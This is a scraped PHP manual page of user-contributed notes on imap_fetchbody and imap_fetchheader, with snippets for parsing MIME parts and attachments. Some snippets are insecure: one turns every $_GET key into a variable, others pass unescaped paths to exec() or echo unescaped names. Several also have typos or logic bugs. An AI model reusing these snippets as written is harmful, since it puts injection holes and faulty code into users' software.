        $part_array[] = array('part_number' => $prefix.'1', 'part_object' => $obj);
    }
   return $part_array;
}
// Sub function for create_part_array(). Only called by create_part_array() and itself.
function add_part_to_array($obj, $partno, & $part_array) {
    $part_array[] = array('part_number' => $partno, 'part_object' => $obj);
    if ($obj->type == 2) { // Check to see if the part is an attached email message, as in the RFC-822 type
        //print_r($obj);
        if (sizeof($obj->parts) > 0) {    // Check to see if the email has parts
            foreach ($obj->parts as $count => $part) {
                // Iterate here again to compensate for the broken way that imap_fetchbody() handles attachments
                if (sizeof($part->parts) > 0) {
                    foreach ($part->parts as $count2 => $part2) {
                        add_part_to_array($part2, $partno.".".($count2+1), $part_array);
                    }
                }else{    // Attached email does not have a seperate mime attachment for text
                    $part_array[] = array('part_number' => $partno.'.'.($count+1), 'part_object' => $obj);
                }
            }
        }else{    // Not sure if this is possible
            $part_array[] = array('part_number' => $prefix.'.1', 'part_object' => $obj);
        }
    }else{    // If there are more sub-parts, expand them out.
        if (sizeof($obj->parts) > 0) {
            foreach ($obj->parts as $count => $p) {
                add_part_to_array($p, $partno.".".($count+1), $part_array);
            }
        }
    }
}
?>
atamido at gmail dot remove dot com 02-Feb-2009 11:50
If you download an attachment labeled "winmail.dat" or "win.dat", or with the mime-type of "APPLICATION/MS-TNEF", this is a Microsoft Transport Neutral Encapsulation Format file.  It is a proprietary method for encoding several files together in a single file.  AFAIK only Outlook sends it with its default setting of sending emails in Rich Text Format.

As of PHP 5.2 there is no internal method of breaking apart these attachments.

There are external command line utilities that can be called from PHP.  Alternately, it is possible to decode these files entirely in PHP.  It appears that all current libraries are based on a plugin written by Graham Norbury for Squirrel Mail.  The only ones I've seen are in IlohaMail, Telean, Horde-Imp, and NaSMail.  The only one that I know that will also decode the RTF message is from NaSMail.

To use the NaSMail code, download the "TNEF Attachment Decoder" plugin and extract it to
plugins/attachment_tnef/

Then use this bit of code:
<?php
include_once('plugins/attachment_tnef/constants.php');
include_once('plugins/attachment_tnef/functions.php');
include_once('plugins/attachment_tnef/class/tnef.php');

// $tnef is a binary variable containing only the contents of winmail.dat
$attachment = &new TnefAttachment($tnef_debug);
$result = $attachment->decodeTnef($tnef);
$tnef_files = &$attachment->getFilesNested();
print_r($tnef_files); // See the format of the returned array
?>
fortega dot no spam plz at uamericas dot net 24-Apr-2008 01:37
To fetch the body of a "sub part" do the following thing:
<?php
$partno = "2.1"   // The first part of the second part

print_r(imap_fetchbody($mbox, $msgno, $partno));
// TODO: replace print_r for the proper function
?>

And remember... you can fetch the structure with
<?php
imap_fetchstructure($mbox, $msgno);
?>
then iterate the array of parts fetching the body.
anonymous lazy person 22-Mar-2008 08:51
Expanding on a comment below about using munpack to extract attachments, here's a lazy person's function that extracts attachments from mail with $msg_number from $mailbox and writes them to $dir. It returns an array of filenames or false if there are no attachments.

function writeAttachmentsToDisk($mailbox, $msg_number, $dir){

  if (!file_exists($dir)){
    mkdir($dir);
  }
  $filename = "tmp.eml";
  $email_file = $dir."/".$filename;
  // write the message body to disk
  imap_savebody  ($mailbox, $email_file, $msg_number);
  $command = "munpack -C $dir -fq $email_file";
  // invoke munpack which will
  // write all the attachments to $dir
  exec($command,$output);

  // if($output[0]!='Did not find anything to unpack from $filename') {
  $found_file = false;
  foreach ($output as $attach) {
    $pieces = explode(" ", $attach);
    $part = $pieces[0];
    if (file_exists($dir.$part)){
      $found_file = true;
      $files[] = $part;
    }
  }
  if (!$found_file){
    //echo ("\nMail.php : no files found - cleaning up. ");
    // didn't find any output files - delete the directory and email file
    unlink($email_file);
    rmdir($dir);
    return false;
  }
  else {
    // found some files-  just delete the email file
    unlink($email_file);
    return $files;
  }
}
tom at tomwardrop dot com 12-Mar-2008 11:08
If text has been encoded as quoted-printable (most body text is encoded as this), it must be decoded for it to be displayed correctly (without '=', '=20' and other strange text chunks all through the string).

To decode, you can use the following built-in php function...

quoted_printable_decode($string)

Hopefully I've just saved a few people from having to do a preg_replace on there email bodies.
bryn 11-Jan-2008 11:58
An alternative to munpack for rfc822 messages is ripmime http://www.pldaniels.com/ripmime/

It lets you pass it the rfc822 attachment (usually something.eml) and it recursively writes out attachments (and text and html files)
ted at qtis dot co dot nz 18-Aug-2007 01:02
Here's simple way of extending Makusnospam's little routine to flatten the entire message into an array which can be useful to quickly find the body and attachments just by walking through the array elements.

function create_part_array($structure, $prefix="") {
   $part_array = array();

    if (sizeof($structure->parts) > 0) {
        foreach ($structure->parts as $count => $part) {
            add_part_to_array($part, $prefix.($count+1), $part_array);
        }
    }

   return $part_array;
}

function add_part_to_array($obj, $partno, & $part_array) {

    if ($obj->type == TYPEMESSAGE) {
        parse_message($obj->parts[0], $partno.".");
    }
    else {
        if (sizeof($obj->parts) > 0) {
            foreach ($obj->parts as $count => $p) {
                add_part_to_array($p, $partno.".".($count+1), $part_array);
            }
        }
    }

    $part_array[] = array('part_number' => $partno, 'part_object' => $obj);
}
phpnetlover at yoz dot us 19-Apr-2007 10:15
Hi everyone

I have been inspecting the RFC's and the answer to what to display is not like Musawir Ali in 2 areas

1- You can not rely on disposition being present, not all mail software composes mail to standard, and if you would just take a quick look at the RFC's you will find out that someone can send you email where your solution will fail even though the mail is "within standards"

2- When you are presented with Alternative-multipart, assuming you will find one text-plain and one text-html, you should NOT be looking for HTML then TEXT, the last mentioned subtype is the most loyal to the original composition, you check if you can support the last, if not you simply go one step back and see the one before it, if your client supports it, you take that, and so on, this is how Alternative works, Just because HTML is best colored does not mean we should chose that, we are looking for the closest representation of the original and not for any in specific
anonymous at coward dot village 22-Feb-2007 11:08
A very easy way to handle attachments is just using munpack, with a subdirectory called attachments chmod it to 777 and then use the following bit of code (with mpack installed) on the MIME encoded body:

<?php
//email MIME body in $input
file_put_contents("attachments/body.eml",$input);
$command = "munpack -C attachments -fq body.eml";
exec($command,$output);
if($output[0]!='Did not find anything to unpack from body.eml') {
    foreach ($output as $attach) {
        $pieces = explode(" ", $attach);
        $part = $pieces[0];
        echo "<a href=\"attachments/$part\">$part</a><br>";
        }
    }
?>
web at i-ps dot net 05-Feb-2007 10:35
I had an issue with the content that was returned by imap_fetchbody - either the function itself, or the mail-server, was inserting "=\r\n" at points into the text body returned. This may depend upon the content type (i.e. plain text / csv, as opposed to something like a Word document), but you may need to do something like:

$body = preg_replace("/=(\r?)\n/", '', imap_fetchbody($mailbox, $message, $part));
jbr at ya-right dot com 14-Dec-2006 08:38
Musawir Ali comment is not totally correct, ifdisposition= 1 will never tell you 100% if there is an attachment. You must look at (ifdparameters, ifparameters) if (1) of them is greater then (0), then you need to look inside (parameters), looking at each ($obj->parameters) and check the (attribute) for (NAME, FILENAME), also be sure to set them to upper or lower case before doing your testing. That's the only way to know if you have an attachment. inline attachments will have $obj->ifid equal to 1, the $obj->id will contain the (cid). If $obj->ifid equals 0 then it's also an attachment (file type) if you have (NAME, FILENAME) as the current parameters (attribute).

<?php
        $name = '';

        if ( $parent->ifdparameters && sizeof ( $parent->dparameters ) > 0 )
        {
            foreach ( $parent->dparameters as $child )
            {
                if ( strtolower ( $child->attribute ) == 'name' || strtolower ( $child->attribute ) == 'filename' )
                {
                    $name = strtolower ( $child->value );
                }
            }
        }

        if ( empty ( $name ) )
        {
            if ( $parent->ifparameters && sizeof ( $parent->parameters ) > 0 )
            {
                foreach ( $parent->parameters as $child )
                {
                    if ( strtolower ( $child->attribute ) == 'name' || strtolower ( $child->attribute ) == 'filename' )
                    {
                        $name = strtolower ( $child->value );
                    }
                }
            }
        }
?>

$parent is derived from imap_fetchstructure(), as a child object if $obj->parts is set or as the $parent if $obj->parts is not set!
Musawir Ali 12-Jul-2006 10:04
For those of you trying to create a "flexible" email reader, I suggest doing the following.

Firstly, instead of going through each part of the email and decoding it, I suggest you go in a specific order.

1) First go through all the parts and search for the part that has subtype=='HTML'. If found, use that as your message body, else go to Step 2.
2) If HTML component not found, search all parts for subtype=='PLAIN'. If found, use that as your message body else print out an error message (this should never occur).
3) At this point, you already have the main body of the email that you should display. The next thing to do is to find all the attachments. You do this by going through all parts, searching for the parts with ifdisposition==1 (there can be multiple).

This is the way I did my email reader program and it works perfectly. I started off by using the methods recommended in a lot of webpages (i.e. going through the parts tree like 1.2.1, 1, 2, etc) but the problem is the message body is never in some fixed part! Sometimes its in 1, somtimes 1.1.2, sometimes 2, and sometimes in some totally unexpected place! So my approach was to "search" for the parts that I'm interested. Hope this helps. I also managed to crack the problem with emails containing embedded images. I will probably write a tutorial on that soon.
se at designlinks dot net 03-Mar-2005 03:36
If you insist on using imap_fetchbody() to retrieve a mail body that doesn't contain 'parts' [normally you'd use imap_body() ], then note that the header text is in part '0' and the body text in part '1'.
So, imap_fetchbody($mbox,$msg,'0') will return the header and imap_fetchbody($mbox,$msg,'1') will return the body text.
guru at php dot net 04-Oct-2004 08:50
After many battles with the imap extension I took it upon myself to write my own implementation using sockets. Below is what I came up with, and hopefully it will be usefull to others as well. I know that there are some parts of this that can be tweaked, however I will leave that for you to do. Use/abuse/mutilate this as you wish (no license).

(Note: I am not placing the source here since it is well over 1900 lines ~48KB)

http://www.nutextonline.com/cimap.phps

If enough people find this usefull I will continue to improve it and eventually commit it (or have it committed) to pear.

Also worth noting is the fact that you can use the imap extensions on mbox format mailboxes. A combination of this class with the imap extension would certainly make a great combination of done correctly.
Adam 27-Sep-2004 11:12
It took me a while to figure out how part id's(numbers) are assigned to different parts of a message.  After getting a few AOL e-mails that had a semi-complex structure I was finally able to break it down.

0 multipart/mixed
    1 multipart/alternative
        1.1 text/plain
        1.2 text/html
    2 message/rfc822
        2 multipart/mixed
            2.1 multipart/alternative
                2.1.1 text/plain
                2.1.2 text/html
            2.2 message/rfc822
                2.2 multipart/alternative
                    2.2.1 text/plain
                    2.2.2 text/html

Hopefully this will help others get the different body parts of a message.
sales at nocwizard dot com 05-Sep-2004 05:59
I'm adding this for those of you like me who are scouring the web looking for code to break down a message.  These two functions will break down a multi-part and non multi-part message and return the contents of the message in the array $message.  It doesn't do attachments.  This assumes you've already opened the mailbox and pass it VIA the $mbox.

function retrieve_message($mbox, $messageid)
{
   $message = array();

   $header = imap_header($mbox, $messageid);
   $structure = imap_fetchstructure($mbox, $messageid);

   $message['subject'] = $header->subject;
   $message['fromaddress'] =   $header->fromaddress;
   $message['toaddress'] =   $header->toaddress;
   $message['ccaddress'] =   $header->ccaddress;
   $message['date'] =   $header->date;

  if (check_type($structure))
  {
   $message['body'] = imap_fetchbody($mbox,$messageid,"1"); ## GET THE BODY OF MULTI-PART MESSAGE
   if(!$message['body']) {$message['body'] = '[NO TEXT ENTERED INTO THE MESSAGE]\n\n';}
  }
  else
  {
   $message['body'] = imap_body($mbox, $messageid);
   if(!$message['body']) {$message['body'] = '[NO TEXT ENTERED INTO THE MESSAGE]\n\n';}
  }

  return $message;
}

function check_type($structure) ## CHECK THE TYPE
{
  if($structure->type == 1)
    {
     return(true); ## YES THIS IS A MULTI-PART MESSAGE
    }
 else
    {
     return(false); ## NO THIS IS NOT A MULTI-PART MESSAGE
    }
}
noose (at) nospam (dot) tweak (dot) pl 20-Jun-2004 04:04
Sorry for my english....

for read the attachment's:

<?
 foreach ($_GET as $k => $v)
 {
     $$k = $v;
 }
 $login = 'mylogin';
 $password = 'mypassword';
 $host = '{myhost:110/pop3}';

$mbox = imap_open("$host", "$login", "$password");
$struckture = imap_fetchstructure($mbox, $id);
$message = imap_fetchbody($mbox,$id,$part);
$name = $struckture->parts[$part]->dparameters[0]->value;
$type = $struckture->parts[$part]->typee;
############## type
if ($type == 0)
{
    $type = "text/";
}
elseif ($type == 1)
{
    $type = "multipart/";
}
elseif ($type == 2)
{
    $type = "message/";
}
elseif ($type == 3)
{
    $type = "application/";
}
elseif ($type == 4)
{
    $type = "audio/";
}
elseif ($type == 5)
{
    $type = "image/";
}
elseif ($type == 6)
{
    $type = "video";
}
elseif($type == 7)
{
    $type = "other/";
}
$type .= $struckture->parts[$part]->subtypee;
######## Type end

header("Content-typee: ".$type);
header("Content-Disposition: attachment; filename=".$name);

######## coding
$coding = $struckture->parts[$part]->encoding;
if ($coding == 0)
{
    $message = imap_7bit($message);
}
elseif ($coding == 1)
{
    $wiadomsoc = imap_8bit($message);
}
elseif ($coding == 2)
{
    $message = imap_binary($message);
}
elseif ($coding == 3)
{
    $message = imap_base64($message);
}
elseif ($coding == 4)
{
    $message = quoted_printable($message);
}
elseif ($coding == 5)
{
    $message = $message;
}
echo $message;
########## coding end
 imap_close($mbox);
?>
jsimlo yahoo com 24-May-2004 01:38
this may be the way, how to obtain all those part_numbers.... even when a message contains another message attached, and it contains another message attached...

<?
 $parttypes = array ("text", "multipart", "message", "application", "audio", "image", "video", "other");
 function buildparts ($struct, $pno = "") {
   global $parttypes;
   switch ($struct->type):
     case 1:
       $r = array (); $i = 1;
       foreach ($struct->parts as $part)
         $r[] = buildparts ($part, $pno.".".$i++);

       return implode (", ", $r);
     case 2:
       return "{".buildparts ($struct->parts[0], $pno)."}";
     default:
       return '<a href="?p='.substr ($pno, 1).'">'.$parttypes[$struct->type]."/".strtolower ($struct->subtype)."</a>";
   endswitch;
 }

  $struct = imap_fetchstructure ($pop3mbox, $msguid, FT_UID);
  echo buildparts ($struct);
?>

it will print something like:

<a href="?p=1">text/plain</a>, {<a href="?p=2.1">text/plain</a>, <a href="?p=2.2">text/html</a>}
Sito 24-May-2004 04:54
Better, a fix on a fix... ;)

function read_all_parts($uid){
 global $mime,$ret_info,$enc;
  $mime = array("text","multipart","message","application","audio",
"image","video","other","unknow");
  $enc  = array("7BIT","8BIT","BINARY","BASE64",
"QUOTED-PRINTABLE","OTHER");

 $struct = imap_fetchstructure( $this -> Link, $uid );

 $ret_info = array();

function scan($struct,$subkey){
 global $mime,$enc,$ret_info;

   foreach($struct as $key => $value){

    if($subkey!=0){
    $pid = $subkey.".".($key+1); }
    else { $pid = ($key+1); }

    $ret_info[]['pid'] = $pid;
    $ret_info[key($ret_info)]['type'] = $mime["$value->type"];
    $ret_info[key($ret_info)]['encoding'] = $enc["$value->encoding"];

    next($ret_info);

    if(($value->parts)!= null) {scan($value->parts,$pid); }
   }
 }

if(!is_null($struct->parts))
{
 scan($struct->parts,0);
}
else
{
    print_r($struct);
    echo("<hr>");
    $ret_info[]['pid']=1;
    $ret_info[key($ret_info)]['type']=$mime["$struct->type"];
    $ret_info[key($ret_info)]['encoding']=$enc["$struct->encoding"];
}

return $ret_info;

}
php at NOSPAM dot sibyla dot cz 04-Apr-2004 03:56
// $uid - msg number

function read_all_parts($uid){
 global $mime,$ret_info,$enc;
  $mime = array("text","multipart","message","application","audio",
"image","video","other","unknow");
  $enc  = array("7BIT","8BIT","BINARY","BASE64",
"QUOTED-PRINTABLE","OTHER");

 $struct = imap_fetchstructure( $this -> Link, $uid );

 $ret_info = array();

function scan($struct,$subkey){
 global $mime,$enc,$ret_info;

 foreach($struct as $key => $value){

  if($subkey!=0){
  $pid = $subkey.".".($key+1); }
  else { $pid = ($key+1); }

  $ret_info[]['pid'] = $pid;
  $ret_info[key($ret_info)]['type'] = $mime["$value->type"];
  $ret_info[key($ret_info)]['encoding'] = $enc["$value->encoding"];

  next($ret_info);

  if(($value->parts)!= null) {scan($value->parts,$pid); }
 }

 }

scan($struct->parts,0);

return $ret_info;

}
asfd at aasdfa dot com 30-Aug-2003 02:48
PLEASE DOCUMENT THIS POST AND SAVE US SOME TIME! :)
ac at artcenter dot ac
17-Feb-2002 04:24
Lets say your email has this structure:
1 multipart
    plain
    html
2 x-vcard
and... you can't seem to figure out how to get either plain or HTML part of the multipart message? have you been going through all the trouble looking for a PHP mime parser? well here is a simple solution which SHOULD BE documented in this manual. From example above, if you want to get the plain part of the "multipart" message do this:
$text=imap_fetchbody($mbox,$msg_num,"1.1");
all you do is instead of part number 1, put 1.1 or to get the HTML part put 1.2

EASY!
ulrich at kaldamar dot de 30-Apr-2003 04:54
The function imap_fetchbody() seems uncapable of getting subordinate parts of a message/rfc822-part. I had problems with getting an attachment that was forwarded in such a part, because the object given by imap_fetchstructure() would assume that the part was represented by the string "2.1.2.1.2".

So I wrote this set of functions which parses the raw message-body and creates an array with the struture corresponding to the structure given by imap_fetchstructure(). The function mail_fetchpart() (see below) will work on the array and return even those parts that I could not get with imap_fetchbody().

Example usage of this function: mail_fetchpart($mbox, 2, "2.1.2.1.2");

Note: If the message does not contain multiple pars, the body of the message can be accessed by the part-string "1".
I have more functions for parsing and decoding messages, just email me.

    // get the body of a part of a message according to the
    // string in $part
    function mail_fetchpart($mbox, $msgNo, $part) {
        $parts = mail_fetchparts($mbox, $msgNo);

        $partNos = explode(".", $part);

        $currentPart = $parts;
        while(list ($key, $val) = each($partNos)) {
            $currentPart = $currentPart[$val];
        }

        if ($currentPart != "") return $currentPart;
          else return false;
    }

    // splits a message given in the body if it is
    // a mulitpart mime message and returns the parts,
    // if no parts are found, returns false
    function mail_mimesplit($header, $body) {
        $parts = array();

        $PN_EREG_BOUNDARY = "Content-Type:(.*)boundary=\"([^\"]+)\"";

        if (eregi ($PN_EREG_BOUNDARY, $header, $regs)) {
            $boundary = $regs[2];

            $delimiterReg = "([^\r\n]*)$boundary([^\r\n]*)";
            if (eregi ($delimiterReg, $body, $results)) {
                $delimiter = $results[0];
                $parts = explode($delimiter, $body);
                $parts = array_slice ($parts, 1, -1);
            }

            return $parts;
        } else {
            return false;
        }

    }

    // returns an array with all parts that are
    // subparts of the given part
    // if no subparts are found, return the body of
    // the current part
    function mail_mimesub($part) {
        $i = 1;
        $headDelimiter = "\r\n\r\n";
        $delLength = strlen($headDelimiter);

        // get head & body of the current part
        $endOfHead = strpos( $part, $headDelimiter);
        $head = substr($part, 0, $endOfHead);
        $body = substr($part, $endOfHead + $delLength, strlen($part));

        // check whether it is a message according to rfc822
        if (stristr($head, "Content-Type: message/rfc822")) {
            $part = substr($part, $endOfHead + $delLength, strlen($part));
            $returnParts[1] = mail_mimesub($part);
            return $returnParts;
        // if no message, get subparts and call function recursively
        } elseif ($subParts = mail_mimesplit($head, $body)) {
            // got more subparts
            while (list ($key, $val) = each($subParts)) {
                $returnParts[$i] = mail_mimesub($val);
                $i++;
            }
            return $returnParts;
        } else {
            return $body;
        }
    }

    // get an array with the bodies all parts of an email
    // the structure of the array corresponds to the
    // structure that is available with imap_fetchstructure
    function mail_fetchparts($mbox, $msgNo) {
        $parts = array();
        $header = imap_fetchheader($mbox,$msgNo);
        $body = imap_body($mbox,$msgNo, FT_INTERNAL);

        $i = 1;

        if ($newParts = mail_mimesplit($header, $body)) {
            while (list ($key, $val) = each($newParts)) {
                $parts[$i] = mail_mimesub($val);
                $i++;
            }
        } else {
            $parts[$i] = $body;
        }
        return $parts;

    }
bubblocity at yahoo dot com 24-Mar-2003 08:18
This is a well overdue addendum to the code submitted on
14-Jan-2002 02:58.  This function was called inside the GetParts function:

function concat_ws($separator, $str1, $str2){
    if(strlen($str1) && strlen($str2)){
        return $str1 . $separator . $str2;
    }
    else if (strlen($str1)){
        return $str1;
    }
    else if (strlen($str2)){
        return $str2;
    }
    else return '';

}
robc at gmx dot de 31-Dec-2002 10:26
// This prints all important part numbers:

function mime_scan_multipart(&$parts, $part_number)
{
        $n = 1;
        foreach ($parts as $obj) {
                if ($obj->type == 1)
                        mime_scan_multipart($obj->parts, "$part_number$n.");
                else
                        echo "$part_number$n\n";
                $n++;
        }
}

function mime_scan(&$obj)
{
        if ($obj->type == 1)
                mime_scan_multipart($obj->parts, "");
        else
                echo "1";
}

...
$obj = imap_fetchstructure($fd, $id);
mime_scan($obj);
markusNOSPAM at broede dot NO_SPAM dot de 12-Aug-2002 08:54
Maybe you prefer a short and recursive way to parse a message
and get the part numbers built:
-------------------------------------------------------------

function parse_message($obj, $prefix="") {
/* Here you can process the data of the main "part" of the message, e.g.: */
  do_anything_with_message_struct($obj);

  if (sizeof($obj->parts) > 0)
    foreach ($obj->parts as $count=>$p)
      parse_part($p, $prefix.($count+1));
}

function parse_part($obj, $partno) {
/* Here you can process the part number and the data of the parts of the message, e.g.: */
  do_anything_with_part_struct($obj,$partno);

  if ($obj->type == TYPEMESSAGE)
    parse_message($obj->parts[0], $partno.".");
  else
    if (sizeof($obj->parts) > 0)
      foreach ($obj->parts as $count=>$p)
        parse_part($p, $partno.".".($count+1));
}

/* Let's say, you have an already opened mailbox stream $mbox
   and you like to parse through the first message: */

$msgno = 1;
parse_message(imap_fetchstructure($mbox,$msgno));
sarachaga at yahoo dot com 04-Mar-2002 11:23
For those guys trying to extract a message/rfc822 parts correctly here is a hint:

As you may note, if you recurse over the structure object returned by imap_fetchstructure, when you reach the message/rfc822 you find that the message itself counts as a part too, so an attachment in that message should be 2.1.2 (the .1. is the whole rfc822 msg), but if you use that part number in imap_fetchbody you get nothing.

What i did is: my recursing function checks if the part/subtype of a particular part is message/rfc822, and only in that case i do not concatenate the .1 to the part number, because as far as i know, this only happens with this kind of message. And for all the other parts (non rfc822) it concats the dot-partnumber.
ac at artcenter dot ac 17-Feb-2002 05:24
Lets say your email has this structure:
1 multipart
    plain
    html
2 x-vcard
and... you can't seem to figure out how to get either plain or HTML part of the multipart message? have you been going through all the trouble looking for a PHP mime parser? well here is a simple solution which SHOULD BE documented in this manual. From example above, if you want to get the plain part of the "multipart" message do this:
$text=imap_fetchbody($mbox,$msg_num,"1.1");
all you do is instead of part number 1, put 1.1 or to get the HTML part put 1.2

EASY!
bubblocity at yahoo dot com 14-Jan-2002 01:58
If you are trying to fetch the body part and don't know what to fetch,
here is a function that will return all the body parts as a single string with each part separated by '|' character.
Followed by a fuction which will retrieve the structure of that part.

You can then parse the return string by explode() and call imap_fetchbody() on each of the parts.

Chunks of this code was stolen from the following site:
http://www.bitsense.net/PHPNotes/IMAP/imap_fetchstructure.asp

<pre>
#Function Gets all the subparts , but does not get part: ''
function GetParts($this_part, $part_no) {

        //If it is type message(2)=msg envelope,
    //Not sure about this assumption : the if statement
    //double check with RFC822 on this one.

    if($this_part->type==2){
        //and there is only 1 subpart of the envelope
        //and that subpart is multipart
        //otherwise will generate excessive '.1' and
        //send wrong part_no to imap_fetchbody
                if($this_part->parts[0]->type==1){
                $this_part=$this_part->parts[0];
                }
        }

        if (count($this_part->parts)>0) {
                for ($i = 0; $i < count($this_part->parts); $i++) {
                        if ($part_no != "") {
                $newpartno = $part_no . '.' . ($i +1);
            }
                        else $newpartno = $i+1;

            $partstringary[$i] =
                GetParts($this_part->parts[$i], $newpartno);
                }//for
                $partstring = implode('|', $partstringary);

        }//if
        $partstring = concat_ws('|', $part_no , $partstring);
        //echo $partstring ;
        return $partstring;
}

#########################################
#Companion function go to GetParts();
#Given the partno - returns the structure
#########################################
function GetSubPartStructure($mbox, $msgno, $partno){

        $msg_struct = imap_fetchstructure($mbox, $msgno);
        $partsary = explode ('.', $partno);
        $subpartstruct = $msg_struct;

        for ($i=0; $i< count($partsary); $i++){
        //Not sure about this, if assumption
        // you should probably double check with RFC822 on this one.
                if($subpartstruct->type==2){
                        if($subpartstruct->parts[0]->type==1){
                          $subpartstruct=$subpartstruct->parts[0];
                        }
                }
                $subpartstruct = $subpartstruct->parts[$partsary[$i]-1];
        }
        return $subpartstruct;
}

function decodemsg($msgstring, $encoding){
        //Write your own function to decode,
    //or lots of examples within PHP already.
    return $decodemsg;
}

#Usage:
$msg_struct = imap_fetchstructure($mbox, $msgno);
$msgparts= GetParts($msg_struct, $part_no);
$partsary = explode($msgparts, '|');
for($i=0; $i<count($parsary);$i++){
    $substruct = GetSubPartStructure($mbox, $msgno, $partsary[$i]);
    if($substruct->type==''){
        //then this is type TEXT
        $msg = imap_fetchbody($mbox, $msgno, $msgpartsary[$i]);
        //Do the decoding
        $msg = decodemsg($msg, $struct->encoding);
        echo $msg; //or do whatever you want with it.
    }
    else{ //Not TEXT
        //Do whatever you want
        //i.e. write the attachment...etc
    }
}

</pre>
pmzandbergen at yahoo dot com 10-Jul-2001 07:56
Nice function above. However, there are some webmail (normaly plain text) services like you which don't use structure type 'ATTACHMENT' with the attachments, but 'INLINE' (also plain text is called like this). Just replace
if (strtoupper ($structure->disposition) == "ATTACHMENT"){
with

            if (strtoupper ($structure->disposition) == "ATTACHMENT" || strtoupper ($structure->disposition) == "INLINE" && strtoupper ($structure->subtype) != "PLAIN") {

But remember, when uou send a message with plaintext & attachment, also the plaintext is an attachment
rfinnie at kefta dot com 14-Dec-2000 02:23
With regard to message/rfc822 parts, it appears that the IMAP c-client that PHP uses does not follow the IMAP RFC (#2060) correctly.  The RFC specifies that to grab the headers for a message/rfc822 part, you would request part "2.HEADER" (assuming 2 is your part number), and the full text of the part would be "2.TEXT".  Instead, "2.0" will grab the headers, and just "2" will get the text.
cleong at organic dot com 04-Apr-2000 09:19
Here's a routine that yields the part of a message with a particular MIME type:

<?php
function get_mime_type(&$structure) {
    $primary_mime_type = array("TEXT", "MULTIPART", "MESSAGE", "APPLICATION", "AUDIO", "IMAGE", "VIDEO", "OTHER");
    if($structure->subtype) {
         return $primary_mime_type[(int) $structure->type] . '/' . $structure->subtype;
     }
     return "TEXT/PLAIN";
}

function get_part($stream, $msg_number, $mime_type, $structure = false, $part_number = false) {
    if (!$structure) {
         $structure = imap_fetchstructure($stream, $msg_number);
     }
    if($structure) {
         if($mime_type == get_mime_type($structure)) {
              if(!$part_number) {
                   $part_number = "1";
               }
              $text = imap_fetchbody($stream, $msg_number, $part_number);
              if($structure->encoding == 3) {
                   return imap_base64($text);
               } else if ($structure->encoding == 4) {
                   return imap_qprint($text);
               } else {
                   return $text;
            }
        }
         if ($structure->type == 1) { /* multipart */
              while (list($index, $sub_structure) = each($structure->parts)) {
                if ($part_number) {
                    $prefix = $part_number . '.';
                }
                $data = get_part($stream, $msg_number, $mime_type, $sub_structure, $prefix . ($index + 1));
                if ($data) {
                    return $data;
                }
            }
        }
    }
    return false;
}

// get plain text
$data = get_part($stream, $msg_number, "TEXT/PLAIN");
// get HTML text
$data = get_part($stream, $msg_number, "TEXT/HTML");
?>

Right now only the first part with the matching MIME type is returned. A more useful version would create an array and return all matching parts (for GIFs, for instance).
imap_fetch_overview
imap_fetchheader
IMAP Functions


Returns header for a message

imap_fetchbody
imap_fetchmime
IMAP Functions
PHP Manual

imap_fetchheader

(PHP 4, PHP 5)

imap_fetchheader — Returns header for a message

Description

string imap_fetchheader ( resource $imap_stream , int $msg_number [, int $options = 0 ] )

This function causes a fetch of the complete, unfiltered » RFC2822 format header of the specified message.

Parameters

imap_stream

An IMAP stream returned by imap_open().

msg_number

The message number

options

The possible options are:

  • FT_UID - The msgno argument is a UID
  • FT_INTERNAL - The return string is in "internal" format, without any attempt to canonicalize to CRLF newlines
  • FT_PREFETCHTEXT - The RFC822.TEXT should be pre-fetched at the same time. This avoids an extra RTT on an IMAP connection if a full message text is desired (e.g. in a "save to local file" operation)

Return Values

Returns the header of the specified message as a text string.

See Also

  • imap_fetch_overview() - Read an overview of the information in the headers of the given message

User Contributed Notes

rgagnon24 dot nospam at gmail dot com 24-Jun-2010 09:52
Interesting that imap_headerinfo() does not allow a UID for the $msg_number field like all other fetching functions seem to allow.

If you want to use a UID to fetch the headers, use this two-step process:

<?php
/*
 * assumes $mbox is your stream, and $uid is set
 * properly. Proper error checking is up to you.
 */
$hText = imap_fetchbody($mbox, $uid, '0', FT_UID);
$headers = imap_rfc822_parse_headers($hText);
?>

The result is the same as the output of imap_headerinfo(), but you get to use the UID.
Jille at nomorecrap dot quis dot cx 06-Apr-2008 03:15
<?PHP
$headers=imap_fetchheader($imap, $msgid);
preg_match_all('/([^: ]+): (.+?(?:\r\n\s(?:.+?))*)\r\n/m', $headers, $matches);
?>

Works quite well for splitting headers,
$matches will contain 3 arrays:
$matches[0] are the full-lines (To: Jille@devnull.quis.cx\r\n)
$matches[1] will be the header (To)
$matches[2] will be the value (Jille@devnull.quis.cx)

In multi-line values the 'multilining is not stripped!'
this could be achieved with something like:
<?PHP
preg_replace('/\r\n\s+/m', '', $matches[2]);
?>
onofabio at gmail dot com 07-Mar-2008 03:18
This function ignore that some header value have multiple lines...

<?php
    // connecting to imap mailserver
    $connection = @imap_open("{localhost:143/imap}INBOX", "your_username", "your_password");

    // get imap_fetch header and put single lines into array
    $header = explode("\n", imap_fetchheader($connection, 1));

    // browse array for additional headers
    if (is_array($header) && count($header)) {
        $head = array();
        foreach($header as $line) {
            // is line with additional header?
            if (eregi("^X-", $line)) {
                // separate name and value
                eregi("^([^:]*): (.*)", $line, $arg);
                $head[$arg[1]] = $arg[2];
            }
        }
    }

    // now are all contained additional headers in array $head
?>

I write this simple function....

$mbox = imap_open("{localhost:143/imap}INBOX", "your_username", "your_password");
$mid=1 // Message id

// Get headers
$header = imap_fetchheader($mbox, $mid);

// Split on \n
$h_array=split("\n",$header);

foreach ( $h_array as $h ) {

    // Check if row start with a char
    if ( preg_match("/^[A-Z]/i", $h )) {

        $tmp = split(":",$h);
    $header_name = $tmp[0];
    $header_value = $tmp[1];

    $headers[$header_name] = $header_value;

    } else {
        // Append row to previous field
    $headers[$header_name] = $header_value . $h;
    }

}
Max Geiger 08-Mar-2007 03:59
If you call the function with the bitmask-parameter FT_PREFETCHTEXT the /Seen flag of the message will be set.
dj_doktor at upskirt dot cz 03-Apr-2005 07:17
I spend lot of time find out how I can detect messages with
different priorities. When I read users notes I remember
function imap_fetchheader which show header of message
and additional headers too. Because I'm so lazy to work with
regular expressions I required my frend for writing code
- thanx Znouza.
And there is... :)

<?php
    // connecting to imap mailserver
    $connection = @imap_open("{localhost:143/imap}INBOX", "your_username", "your_password");

    // get imap_fetch header and put single lines into array
    $header = explode("\n", imap_fetchheader($connection, 1));

    // browse array for additional headers
    if (is_array($header) && count($header)) {
        $head = array();
        foreach($header as $line) {
            // is line with additional header?
            if (eregi("^X-", $line)) {
